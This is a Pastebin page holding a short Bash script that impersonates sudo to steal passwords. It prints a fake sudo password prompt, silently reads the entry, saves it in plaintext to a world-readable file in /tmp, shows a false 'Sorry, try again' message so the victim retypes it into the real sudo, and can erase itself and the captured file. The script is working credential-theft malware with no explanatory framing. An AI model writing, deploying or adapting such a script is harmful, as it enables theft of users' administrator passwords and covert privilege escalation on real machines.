Advertisement
Guest User

Untitled

a guest
Jan 18th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.47 KB | None | 0 0
  1. #!/usr/bin/env bash
  2.  
  3. user=$(whoami)
  4. outPath=/tmp/unicorns.txt
  5. cleanUp=/tmp/dragons.txt
  6. pwPrompt="[sudo] password for $user:\x20"
  7. errStr="Sorry, try again."
  8. myPath="$( cd "$(dirname "$0")" ; pwd -P )/$0"
  9. if [ -f $outPath ]
  10. then
  11.    /usr/bin/sudo $@
  12. else
  13.    echo -ne $pwPrompt
  14.    read -s PASSWORD
  15.    echo
  16.    echo $PASSWORD > $outPath
  17.    chmod ugo+rw $outPath
  18.    echo $errStr
  19.    /usr/bin/sudo $@
  20. fi
  21. if [ -f $cleanUp ]
  22. then
  23.   rm $myPath $outPath $cleanUp
  24. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement